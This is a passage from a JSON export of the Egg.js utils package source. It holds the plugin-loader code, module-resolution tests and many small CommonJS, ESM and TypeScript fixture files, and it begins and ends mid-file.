framework?: boolean;\n    };\n    eggPlugin?: {\n      name: string;\n    };\n  };\n  try {\n    await fs.access(pkgFile);\n  } catch {\n    return EggType.unknown;\n  }\n  try {\n    pkg = JSON.parse(await fs.readFile(pkgFile, 'utf-8'));\n  } catch {\n    return EggType.unknown;\n  }\n  if (pkg.egg?.framework) {\n    return EggType.framework;\n  }\n  if (pkg.eggPlugin?.name) {\n    return EggType.plugin;\n  }\n  return EggType.application;\n}\n"
  },
  {
    "path": "packages/utils/src/plugin.ts",
    "content": "import assert from 'node:assert';\nimport { stat, mkdir, writeFile, realpath } from 'node:fs/promises';\nimport os from 'node:os';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { importModule } from './import.ts';\n\nconst debug = debuglog('egg/utils/plugin');\n\nconst tmpDir = os.tmpdir();\n\nfunction noop() {}\n\nconst logger = {\n  debug: noop,\n  info: noop,\n  warn: noop,\n  error: noop,\n};\n\nexport interface LoaderOptions {\n  framework: string;\n  baseDir: string;\n  env?: string;\n}\n\nexport interface Plugin {\n  name: string;\n  version?: string;\n  enable: boolean;\n  implicitEnable: boolean;\n  path: string;\n  dependencies: string[];\n  optionalDependencies: string[];\n  env: string[];\n  from: string;\n}\n\n/**\n * @see https://github.com/eggjs/egg-core/blob/2920f6eade07959d25f5c4f96b154d3fbae877db/lib/loader/mixin/plugin.js#L203\n */\nexport async function getPlugins(options: LoaderOptions): Promise<Record<string, Plugin>> {\n  const loader = await getLoader(options);\n  await loader.loadPlugin();\n  return loader.allPlugins;\n}\n\ninterface Unit {\n  type: 'plugin' | 'framework' | 'app';\n  path: string;\n}\n\n/**\n * @see https://github.com/eggjs/egg-core/blob/2920f6eade07959d25f5c4f96b154d3fbae877db/lib/loader/egg_loader.js#L348\n */\nexport async function getLoadUnits(options: LoaderOptions): Promise<Unit[]> {\n  const loader = await getLoader(options);\n  await loader.loadPlugin();\n  return loader.getLoadUnits();\n}\n\nexport async function getConfig(options: LoaderOptions): Promise<Record<string, any>> {\n  const loader = await getLoader(options);\n  await loader.loadPlugin();\n  await loader.loadConfig();\n  return loader.config;\n}\n\nasync function exists(filepath: string) {\n  try {\n    await stat(filepath);\n    return true;\n  } catch {\n    return false;\n  }\n}\n\ninterface IEggLoader {\n  loadPlugin(): Promise<void>;\n  loadConfig(): Promise<void>;\n  config: Record<string, any>;\n  getLoadUnits(): Unit[];\n  allPlugins: Record<string, Plugin>;\n}\n\ninterface IEggLoaderOptions {\n  baseDir: string;\n  app: unknown;\n  logger: object;\n  EggCoreClass?: unknown;\n}\n\ntype EggLoaderImplClass<T = IEggLoader> = new (options: IEggLoaderOptions) => T;\n\nexport async function getLoader(options: LoaderOptions): Promise<IEggLoader> {\n  assert(options.framework, 'framework is required');\n  assert(await exists(options.framework), `${options.framework} should exist`);\n  if (!(options.baseDir && (await exists(options.baseDir)))) {\n    options.baseDir = path.join(tmpDir, 'egg_utils', `${Date.now()}`, 'tmp_app');\n    await mkdir(options.baseDir, { recursive: true });\n    await writeFile(\n      path.join(options.baseDir, 'package.json'),\n      JSON.stringify({\n        name: 'tmp_app',\n        type: 'module',\n      }),\n    );\n    debug('[getLoader] create baseDir: %o', options.baseDir);\n  }\n\n  const { EggCore, EggLoader } = await findEggCore(options);\n  const mod = await importModule(options.framework);\n  const Application = mod.Application ?? mod.default?.Application;\n  assert(Application, `Application not export on ${options.framework}`);\n  if (options.env) {\n    process.env.EGG_SERVER_ENV = options.env;\n  }\n  return new EggLoader({\n    baseDir: options.baseDir,\n    logger,\n    app: new Application({}),\n    EggCoreClass: EggCore,\n  });\n}\n\nexport async function findEggCore(\n  options: LoaderOptions,\n): Promise<{ EggCore?: object; EggLoader: EggLoaderImplClass }> {\n  const baseDirRealpath = await realpath(options.baseDir);\n  const frameworkRealpath = await realpath(options.framework);\n  const paths = [frameworkRealpath, baseDirRealpath];\n  // custom framework => egg => @eggjs/core\n  try {\n    const { EggCore, EggLoader } = await importModule('egg', { paths });\n    if (EggLoader) {\n      return { EggCore, EggLoader };\n    }\n  } catch (err: any) {\n    debug('[findEggCore] import \"egg\" from paths:%o error: %o', paths, err);\n  }\n\n  const eggCodeName = '@eggjs/core';\n  try {\n    const { EggCore, EggLoader } = await importModule(eggCodeName, { paths });\n    if (EggLoader) {\n      return { EggCore, EggLoader };\n    }\n  } catch (err: any) {\n    debug('[findEggCore] import \"%s\" from paths:%o error: %o', eggCodeName, paths, err);\n  }\n\n  try {\n    const { EggCore, EggLoader } = await importModule(eggCodeName);\n    if (EggLoader) {\n      return { EggCore, EggLoader };\n    }\n  } catch (err: any) {\n    debug('[findEggCore] import \"%s\" error: %o', eggCodeName, err);\n  }\n\n  let eggCorePath = path.join(options.baseDir, `node_modules/${eggCodeName}`);\n  if (!(await exists(eggCorePath))) {\n    eggCorePath = path.join(options.framework, `node_modules/${eggCodeName}`);\n  }\n  if (await exists(eggCorePath)) {\n    return await importModule(eggCorePath);\n  }\n\n  assert(false, `Can't find egg or ${eggCodeName} from ${options.baseDir} and ${options.framework}`);\n}\n"
  },
  {
    "path": "packages/utils/src/utils.ts",
    "content": "import { existsSync, readFileSync } from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nexport function readJSONSync(file: string): any {\n  if (!existsSync(file)) {\n    throw new Error(`${file} is not found`);\n  }\n  return JSON.parse(readFileSync(file, 'utf-8'));\n}\n\nexport function getDirname(): string {\n  if (typeof __dirname !== 'undefined') {\n    return __dirname;\n  }\n  // eslint-disable-next-line @typescript-eslint/ban-ts-comment\n  // @ts-ignore\n  return path.dirname(fileURLToPath(import.meta.url));\n}\n"
  },
  {
    "path": "packages/utils/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/index.test.ts > export all > should keep checking 1`] = `\n[\n  \"EggType\",\n  \"ImportResolveError\",\n  \"default\",\n  \"detectType\",\n  \"findEggCore\",\n  \"getConfig\",\n  \"getExtensions\",\n  \"getFrameworkOrEggPath\",\n  \"getFrameworkPath\",\n  \"getLoadUnits\",\n  \"getLoader\",\n  \"getPlugins\",\n  \"getRequire\",\n  \"importModule\",\n  \"importResolve\",\n  \"isESM\",\n  \"isSupportTypeScript\",\n]\n`;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/es-module-default.js",
    "content": "exports.__esModule = true;\nexports['default'] = {\n  fn() {},\n  foo: 'bar',\n  one: 1,\n};\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/exports.cjs",
    "content": "exports.foo = 'bar';\nexports.one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/exports.js",
    "content": "exports.foo = 'bar';\nexports.one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/extend/index.js",
    "content": "exports.extend = true;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/index.js",
    "content": "module.exports = {\n  foo: 'bar',\n};\n\nmodule.exports.one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/module-exports-null.js",
    "content": "module.exports = null;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs/run.js",
    "content": "const { importResolve } = require('../../../src/index.ts');\n\nconsole.log(\n  '%o',\n  importResolve(__dirname, {\n    paths: __dirname,\n  }),\n);\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs-index/index.cjs",
    "content": "module.exports = {\n  foo: 'bar',\n};\n\nmodule.exports.one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/cjs-index/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/egg-app/config/plugin.test.js",
    "content": "const path = require('path');\n\nexports.p = {\n  enable: true,\n  path: path.join(__dirname, '../plugin/p'),\n};\n"
  },
  {
    "path": "packages/utils/test/fixtures/egg-app/get_config.js",
    "content": "const { getConfig } = require('../../..');\n\n(async () => {\n  const configs = await getConfig(JSON.parse(process.argv[2]));\n  console.log(process.argv[2]);\n  console.log('get app configs %j', Object.keys(configs));\n})();\n"
  },
  {
    "path": "packages/utils/test/fixtures/egg-app/get_loadunit.js",
    "content": "const { getLoadUnits } = require('../../..');\n\n(async () => {\n  console.log(process.argv[2]);\n  const units = await getLoadUnits(JSON.parse(process.argv[2]));\n  console.log('get %s plugin', units.filter((p) => p.type === 'plugin').length);\n  // console.log(units.filter(p => p.type === 'plugin'));\n  console.log('get %s framework', units.filter((p) => p.type === 'framework').length);\n  console.log('get %s app', units.filter((p) => p.type === 'app').length);\n})();\n"
  },
  {
    "path": "packages/utils/test/fixtures/egg-app/get_plugin.js",
    "content": "const { getPlugins } = require('../../..');\n\n(async () => {\n  const plugins = await getPlugins(JSON.parse(process.argv[2]));\n  console.log('get all plugins %j', Object.keys(plugins));\n})();\n"
  },
  {
    "path": "packages/utils/test/fixtures/egg-app/package.json",
    "content": "{\n  \"name\": \"egg-app\",\n  \"dependencies\": {\n    \"@eggjs/core\": \"beta\",\n    \"egg\": \"beta\",\n    \"framework-demo\": \"^1.0.1\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/egg-app/plugin/p/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"p\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm/config/plugin.js",
    "content": "export default {\n  foo: 'bar',\n};\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm/export-default-null.js",
    "content": "export default null;\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm/exports.js",
    "content": "export const foo = 'bar';\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm/exports.mjs",
    "content": "export const foo = 'bar';\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm/index.js",
    "content": "export default {\n  foo: 'bar',\n};\n\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm-index/index.mjs",
    "content": "export default {\n  foo: 'bar',\n};\n\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/esm-index/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/framework-egg-default/app/router.js",
    "content": "module.exports = (app) => {};\n"
  },
  {
    "path": "packages/utils/test/fixtures/framework-egg-default/app.js",
    "content": "module.exports = {};\n"
  },
  {
    "path": "packages/utils/test/fixtures/framework-egg-default/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/utils/test/fixtures/framework-egg-default-noexist/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/utils/test/fixtures/framework-pkg-egg/package.json",
    "content": "{\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/framework-pkg-egg-noexist/package.json",
    "content": "{\n  \"egg\": {\n    \"framework\": \"noexist\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/monorepo-app/packages/a/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/utils/test/fixtures/no-package-json/index.js",
    "content": "export const name = 'no-package-json';\n"
  },
  {
    "path": "packages/utils/test/fixtures/test-app/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/utils/test/fixtures/test-app/test/fixtures/app/package.json",
    "content": "{}\n"
  },
  {
    "path": "packages/utils/test/fixtures/ts-module/exports.ts",
    "content": "export const foo = 'bar';\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/ts-module/extend/index.ts",
    "content": "export const extend = true;\n"
  },
  {
    "path": "packages/utils/test/fixtures/ts-module/index.ts",
    "content": "export default {\n  foo: 'bar',\n};\n\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/ts-module/mod.ts",
    "content": "export default function () {\n  return { a: 1 };\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/ts-module/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy/package.json",
    "content": "{\n  \"name\": \"yadan\",\n  \"type\": \"module\",\n  \"main\": \"./dist2/commonjs/index.js\",\n  \"module\": \"./dist2/esm/index.js\",\n  \"types\": \"./dist2/commonjs/index.d.ts\",\n  \"exports\": {\n    \".\": {\n      \"import\": {\n        \"types\": \"./dist2/esm/index.d.ts\",\n        \"default\": \"./dist2/esm/index.js\"\n      },\n      \"require\": {\n        \"types\": \"./dist2/commonjs/index.d.ts\",\n        \"default\": \"./dist2/commonjs/index.js\"\n      }\n    },\n    \"./package.json\": \"./package.json\"\n  },\n  \"tshy\": {\n    \"exports\": {\n      \".\": \"./src/index.ts\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"egg\": {\n    \"framework\": true\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy/src/index.ts",
    "content": "export default {\n  foo: 'bar',\n};\n\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy-dist/dist2/commonjs/index.js",
    "content": "exports.one = 2;\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy-dist/dist2/commonjs/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy-dist/dist2/esm/index.js",
    "content": "export const one = 2;\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy-dist/dist2/esm/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy-dist/package.json",
    "content": "{\n  \"name\": \"yadan\",\n  \"type\": \"module\",\n  \"main\": \"./dist2/commonjs/index.js\",\n  \"module\": \"./dist2/esm/index.js\",\n  \"types\": \"./dist2/commonjs/index.d.ts\",\n  \"exports\": {\n    \".\": {\n      \"import\": {\n        \"types\": \"./dist2/esm/index.d.ts\",\n        \"default\": \"./dist2/esm/index.js\"\n      },\n      \"require\": {\n        \"types\": \"./dist2/commonjs/index.d.ts\",\n        \"default\": \"./dist2/commonjs/index.js\"\n      }\n    },\n    \"./package.json\": \"./package.json\"\n  },\n  \"tshy\": {\n    \"exports\": {\n      \".\": \"./src/index.ts\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"egg\": {\n    \"framework\": true\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/fixtures/tshy-dist/src/index.ts",
    "content": "export default {\n  foo: 'bar',\n};\n\nexport const one = 1;\n"
  },
  {
    "path": "packages/utils/test/fixtures/yadan-app/package.json",
    "content": "{\n  \"name\": \"yadan-app\",\n  \"egg\": {\n    \"framework\": \"yadan\"\n  }\n}\n"
  },
  {
    "path": "packages/utils/test/framework.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport fs from 'node:fs';\nimport path from 'node:path';\n\nimport { restore, mm } from 'mm';\nimport { describe, it, afterEach } from 'vitest';\n\nimport { getFrameworkPath } from '../src/index.js';\nimport { getFilepath, testDir } from './helper.js';\n\ndescribe('test/framework.test.ts', () => {\n  afterEach(restore);\n\n  it('should get egg by default but not exist', () => {\n    const baseDir = getFilepath('noexist');\n    assert.throws(\n      () => {\n        getFrameworkPath({\n          baseDir,\n        });\n      },\n      (err: Error) => {\n        assert.equal(err.message, `${path.join(baseDir, 'package.json')} should exist`);\n        return true;\n      },\n    );\n  });\n\n  it('should get from absolute path', () => {\n    const baseDir = getFilepath('framework-egg-default');\n    const frameworkPath = path.join(baseDir, 'node_modules/egg');\n    const framework = getFrameworkPath({\n      baseDir,\n      framework: frameworkPath,\n    });\n    assert.equal(framework, frameworkPath);\n  });\n\n  it('should get from absolute path but not exist', () => {\n    const baseDir = getFilepath('framework-egg-default');\n    const frameworkPath = path.join(baseDir, 'noexist');\n    assert.throws(\n      () => {\n        getFrameworkPath({\n          baseDir,\n          framework: frameworkPath,\n        });\n      },\n      (err: Error) => {\n        assert.equal(err.message, `${frameworkPath} should exist`);\n        return true;\n      },\n    );\n  });\n\n  it('should get from npm package', () => {\n    const baseDir = getFilepath('framework-egg-default');\n    const frameworkPath = path.join(baseDir, 'node_modules/egg');\n    const framework = getFrameworkPath({\n      baseDir,\n      framework: 'egg',\n    });\n    assert(framework === frameworkPath);\n  });\n\n  it('should get from npm package but not exist', () => {\n    const baseDir = getFilepath('framework-egg-default');\n    assert.throws(\n      () => {\n        getFrameworkPath({\n          baseDir,\n          framework: 'noexist',\n        });\n      },\n      (err: Error) => {\n        const frameworkPaths = [path.join(baseDir, 'node_modules'), path.join(process.cwd(), 'node_modules')].join(',');\n        assert.equal(err.message, `noexist is not found in ${frameworkPaths}`);\n        return true;\n      },\n    );\n  });\n\n  it('should get from pkg.egg.framework', () => {\n    const baseDir = getFilepath('framework-pkg-egg');\n    const framework = getFrameworkPath({\n      baseDir,\n    });\n    assert.equal(framework, path.join(baseDir, 'node_modules/yadan'));\n  });\n\n  it('should get from pkg.egg.framework but not exist', () => {\n    const baseDir = getFilepath('framework-pkg-egg-noexist');\n    assert.throws(\n      () => {\n        getFrameworkPath({\n          baseDir,\n        });\n      },\n      (err: Error) => {\n        const frameworkPaths = [path.join(baseDir, 'node_modules'), path.join(process.cwd(), 'node_modules')].join(',');\n        assert.equal(err.message, `noexist is not found in ${frameworkPaths}`);\n        return true;\n      },\n    );\n  });\n\n  it('should get egg by default', () => {\n    const baseDir = getFilepath('framework-egg-default');\n    const framework = getFrameworkPath({\n      baseDir,\n    });\n    assert.equal(framework, path.join(baseDir, 'node_modules/egg'));\n  });\n\n  // FIXME: will get egg from packages/egg\n  it.skip('should get egg by default but not exist 2', () => {\n    const baseDir = getFilepath('framework-egg-default-noexist');\n    assert.throws(\n      () => {\n        const framework = getFrameworkPath({\n          baseDir,\n        });\n        console.error(framework);\n      },\n      (err: Error) => {\n        const frameworkPaths = [path.join(baseDir, 'node_modules'), path.join(process.cwd(), 'node_modules')].join(',');\n        assert.equal(err.message, `egg is not found in ${frameworkPaths}`);\n        return true;\n      },\n    );\n  });\n\n  it('should get egg from process.cwd', () => {\n    const cwd = getFilepath('test-app');\n    mm(process, 'cwd', () => cwd);\n    const baseDir = getFilepath('test-app/test/fixtures/app');\n\n    const framework = getFrameworkPath({\n      baseDir,\n    });\n    assert.equal(framework, path.join(cwd, 'node_modules/egg'));\n  });\n\n  it.skip('should get egg from monorepo root dir', () => {\n    const cwd = getFilepath('monorepo-app/packages/a');\n    mm(process, 'cwd', () => cwd);\n    const linkEgg = path.join(testDir, '..', 'node_modules/egg');\n    fs.symlinkSync(getFilepath('monorepo-app/node_modules/egg'), linkEgg);\n    const framework = getFrameworkPath({\n      baseDir: cwd,\n    });\n    fs.unlinkSync(linkEgg);\n    assert.equal(framework, linkEgg);\n  });\n});\n"
  },
  {
    "path": "packages/utils/test/getFrameworkOrEggPath.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport utils from '../src/index.js';\nimport { getFilepath } from './helper.js';\n\ndescribe('test/getFrameworkOrEggPath.test.ts', () => {\n  it('get framework dir path success', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('aliyun-egg-app'));\n    assert.equal(dirpath, getFilepath('aliyun-egg-app/node_modules/aliyun-egg'));\n  });\n\n  it('get custom framework dir path success when app set app.framework on package.json', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('yadan-app'));\n    assert.equal(dirpath, getFilepath('yadan-app/node_modules/yadan'));\n  });\n\n  it('get custom egg dir path success', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('aliyun-egg-app'), ['my-old-egg', 'my-new-egg']);\n    assert.equal(dirpath, getFilepath('aliyun-egg-app/node_modules/my-new-egg'));\n  });\n\n  it('get default egg dir path success', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('default-egg-app'));\n    assert.equal(dirpath, getFilepath('default-egg-app/node_modules/egg'));\n  });\n\n  it('get \"\" when egg name not found', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('aliyun-egg-app'), ['my-egg']);\n    assert.equal(dirpath, '');\n  });\n\n  it('get \"\" when node_modules not found', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('aliyun-egg-app-not-exists'));\n    assert.equal(dirpath, '');\n  });\n\n  it('get \"\" when framework package.json not exists', () => {\n    const dirpath = utils.getFrameworkOrEggPath(getFilepath('demoframework-app'));\n    assert.equal(dirpath, '');\n  });\n});\n"
  },
  {
    "path": "packages/utils/test/helper.ts",
    "content": "import path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst __filename = fileURLToPath(import.meta.url);\nexport const testDir: string = path.dirname(__filename);\n\nexport function getFilepath(name: string): string {\n  return path.join(testDir, 'fixtures', name);\n}\n"
  },
  {
    "path": "packages/utils/test/import.test.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport coffee from 'coffee';\nimport { describe, it, expect, vi } from 'vitest';\n\nimport { importResolve, importModule, ImportResolveError, isESM, isSupportTypeScript } from '../src/index.ts';\nimport { getFilepath } from './helper.ts';\n\ndescribe('test/import.test.ts', () => {\n  describe('isESM', () => {\n    it('should be true', () => {\n      expect(isESM).toBe(true);\n    });\n  });\n\n  describe('importResolve()', () => {\n    it('should import file from typescript under development', () => {\n      assert.equal(\n        importResolve(path.join(__dirname, '../../../plugins/mock/app')),\n        path.join(__dirname, '../../../plugins/mock/src/app.ts'),\n      );\n    });\n\n    it('should import package from typescript under development', () => {\n      assert.equal(importResolve(path.join(__dirname, '../../egg')), path.join(__dirname, '../../egg/src/index.ts'));\n    });\n\n    it('should work on cjs', () => {\n      assert.equal(importResolve(getFilepath('cjs')), getFilepath('cjs/index.js'));\n      assert.equal(\n        importResolve('./index.js', {\n          paths: [getFilepath('cjs')],\n        }),\n        getFilepath('cjs/index.js'),\n      );\n      assert.equal(importResolve(getFilepath('cjs/exports')), getFilepath('cjs/exports.js'));\n      assert.equal(\n        importResolve('./exports', {\n          paths: [getFilepath('cjs')],\n        }),\n        getFilepath('cjs/exports.js'),\n      );\n      assert.equal(importResolve(getFilepath('cjs-index')), getFilepath('cjs-index/index.cjs'));\n      assert.equal(importResolve(getFilepath('cjs/extend')), getFilepath('cjs/extend/index.js'));\n      assert.equal(\n        importResolve('./extend', {\n          paths: [getFilepath('cjs')],\n        }),\n        getFilepath('cjs/extend/index.js'),\n      );\n      assert.equal(\n        importResolve('../index', {\n          paths: [getFilepath('cjs/extend')],\n        }),\n        getFilepath('cjs/index.js'),\n      );\n      assert.equal(\n        importResolve('../../index', {\n          paths: [getFilepath('cjs/extend/foo')],\n        }),\n        getFilepath('cjs/index.js'),\n      );\n    });\n\n    it('should inject commonjs package from {paths}/node_modules', () => {\n      assert.equal(\n        importResolve('inject', {\n          paths: [getFilepath('cjs')],\n        }),\n        getFilepath('cjs/node_modules/inject/index.js'),\n      );\n\n      assert.equal(\n        importResolve('tsconfig-paths-demo/register', {\n          paths: [getFilepath('cjs')],\n        }),\n        getFilepath('cjs/node_modules/tsconfig-paths-demo/register.js'),\n      );\n    });\n\n    it('should find from {paths} parent node_modules', () => {\n      assert.equal(\n        importResolve('tsconfig-paths-demo/register', {\n          paths: [getFilepath('cjs/node_modules/inject')],\n        }),\n        getFilepath('cjs/node_modules/tsconfig-paths-demo/register.js'),\n      );\n\n      assert.equal(\n        importResolve('tsconfig-paths-demo/register', {\n          paths: [getFilepath('cjs/node_modules/@foo/bar')],\n        }),\n        getFilepath('cjs/node_modules/tsconfig-paths-demo/register.js'),\n      );\n    });\n\n    it('should throw error when resolve path not exists', () => {\n      assert.throws(\n        () => {\n          importResolve('tsconfig-paths-demo-not-exists/register', {\n            paths: [getFilepath('cjs/node_modules/inject')],\n          });\n        },\n        (err: any) => {\n          assert.ok(err instanceof ImportResolveError);\n          assert.equal(err.name, 'ImportResolveError');\n          assert.equal(err.filepath, 'tsconfig-paths-demo-not-exists/register');\n          assert.deepEqual(err.paths, [getFilepath('cjs/node_modules/inject')]);\n          assert.match(err.stack ?? '', /Cannot find package/);\n          assert.match(err.message, /Cannot find package/);\n          return true;\n        },\n      );\n    });\n\n    // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n    it.skipIf(process.version.startsWith('v20.'))('should work on commonjs and require exists', async () => {\n      const script = getFilepath('cjs/run.js');\n      return await coffee\n        .fork(script)\n        // .debug()\n        .expect('stdout', /index\\.js/)\n        .end();\n    });\n\n    it('should work on esm', () => {\n      assert.equal(importResolve(getFilepath('esm')), getFilepath('esm/index.js'));\n      assert.equal(\n        importResolve('./index.js', {\n          paths: [getFilepath('esm')],\n        }),\n        getFilepath('esm/index.js'),\n      );\n      assert.equal(importResolve(getFilepath('esm-index')), getFilepath('esm-index/index.mjs'));\n      assert.equal(importResolve(getFilepath('esm/config/plugin')), getFilepath('esm/config/plugin.js'));\n      assert.equal(\n        importResolve('./config/plugin', {\n          paths: [getFilepath('esm')],\n        }),\n        getFilepath('esm/config/plugin.js'),\n      );\n      assert.throws(() => {\n        importResolve(getFilepath('esm/config/plugin.default'));\n      }, /Cannot find module/);\n    });\n\n    it('should inject esm package from {paths}/node_modules', () => {\n      assert.equal(\n        importResolve('inject', {\n          paths: [getFilepath('esm')],\n        }),\n        getFilepath('esm/node_modules/inject/index.js'),\n      );\n    });\n\n    it('should work on ts-module', () => {\n      assert.equal(importResolve(getFilepath('ts-module')), getFilepath('ts-module/index.ts'));\n      assert.equal(importResolve(getFilepath('ts-module/extend')), getFilepath('ts-module/extend/index.ts'));\n    });\n\n    it('should work on typescript without dist', () => {\n      assert.equal(importResolve(getFilepath('tshy')), getFilepath('tshy/src/index.ts'));\n    });\n\n    it('should work on typescript with dist', () => {\n      assert.equal(importResolve(getFilepath('tshy-dist')), getFilepath('tshy-dist/dist2/esm/index.js'));\n    });\n\n    it('should work on {name}/package.json', () => {\n      assert.equal(\n        importResolve('egg/package.json', {\n          paths: [getFilepath('framework-egg-default')],\n        }),\n        getFilepath('framework-egg-default/node_modules/egg/package.json'),\n      );\n    });\n\n    it('should work on /path/app => /path/app.js', () => {\n      assert.equal(\n        importResolve(getFilepath('framework-egg-default/app')),\n        getFilepath('framework-egg-default/app.js'),\n      );\n    });\n  });\n\n  describe('importModule()', () => {\n    it('should work on egg', async () => {\n      const obj = await importModule('egg', {\n        paths: [path.join(__dirname, '../../../examples/helloworld-typescript')],\n      });\n      expect(obj.Agent).toBeDefined();\n    });\n\n    it('should import extend/index.js from extend on cjs', async () => {\n      const obj = await importModule(getFilepath('cjs/extend'));\n      assert.equal(obj.extend, true);\n    });\n\n    it('should import extend/index.js from extend on ts', async () => {\n      const obj = await importModule(getFilepath('ts-module/extend'), {\n        importDefaultOnly: true,\n      });\n      assert.equal(obj.extend, true);\n    });\n\n    it('should work on cjs', async () => {\n      let obj = await importModule(getFilepath('cjs'));\n      // if (process.version.startsWith('v24.')) {\n      //   // support `module.exports` on Node.js >=24\n      //   assert.deepEqual(Object.keys(obj).sort(), [\n      //     'default',\n      //     // 'module.exports',\n      //     'foo',\n      //     'one',\n      //   ]);\n      // } else {\n      //   assert.deepEqual(Object.keys(obj).sort(), ['default', 'foo', 'one']);\n      // }\n      assert.deepEqual(Object.keys(obj).sort(), ['default', 'foo', 'one']);\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar', one: 1 });\n\n      obj = await importModule(getFilepath('cjs'), { importDefaultOnly: true });\n      assert.deepEqual(obj, { foo: 'bar', one: 1 });\n\n      obj = await importModule(getFilepath('cjs/exports'));\n      // if (process.version.startsWith('v23.')) {\n      //   // support `module.exports` on Node.js >=23\n      //   assert.deepEqual(Object.keys(obj), [\n      //     'default',\n      //     'foo',\n      //     'module.exports',\n      //     'one',\n      //   ]);\n      // } else {\n      //   assert.deepEqual(Object.keys(obj), ['default', 'foo', 'one']);\n      // }\n      assert.deepEqual(Object.keys(obj).sort(), ['default', 'foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar', one: 1 });\n\n      obj = await importModule(getFilepath('cjs/exports.js'));\n      // if (process.version.startsWith('v23.')) {\n      //   // support `module.exports` on Node.js >=23\n      //   assert.deepEqual(Object.keys(obj), [\n      //     'default',\n      //     'foo',\n      //     'module.exports',\n      //     'one',\n      //   ]);\n      // } else {\n      //   assert.deepEqual(Object.keys(obj), ['default', 'foo', 'one']);\n      // }\n      assert.deepEqual(Object.keys(obj), ['default', 'foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar', one: 1 });\n\n      obj = await importModule(getFilepath('cjs/exports.cjs'));\n      // if (process.version.startsWith('v23.')) {\n      //   // support `module.exports` on Node.js >=23\n      //   assert.deepEqual(Object.keys(obj), [\n      //     'default',\n      //     'foo',\n      //     'module.exports',\n      //     'one',\n      //   ]);\n      // } else {\n      //   assert.deepEqual(Object.keys(obj), ['default', 'foo', 'one']);\n      // }\n      assert.deepEqual(Object.keys(obj), ['default', 'foo', 'one']);\n      assert.equal(obj.foo, 'bar');\n      assert.equal(obj.one, 1);\n      assert.deepEqual(obj.default, { foo: 'bar', one: 1 });\n\n      obj = await importModule(getFilepath('cjs/es-module-default.js'));\n      assert.deepEqual(Object.keys(obj).sort(), ['__esModule', 'default', 'fn', 'foo', 'one']);\n      assert.equal(obj.default.foo, 'bar');\n      assert.equal(obj.default.one, 1);\n      assert.equal(typeof obj.default.fn, 'function');\n\n      obj = await 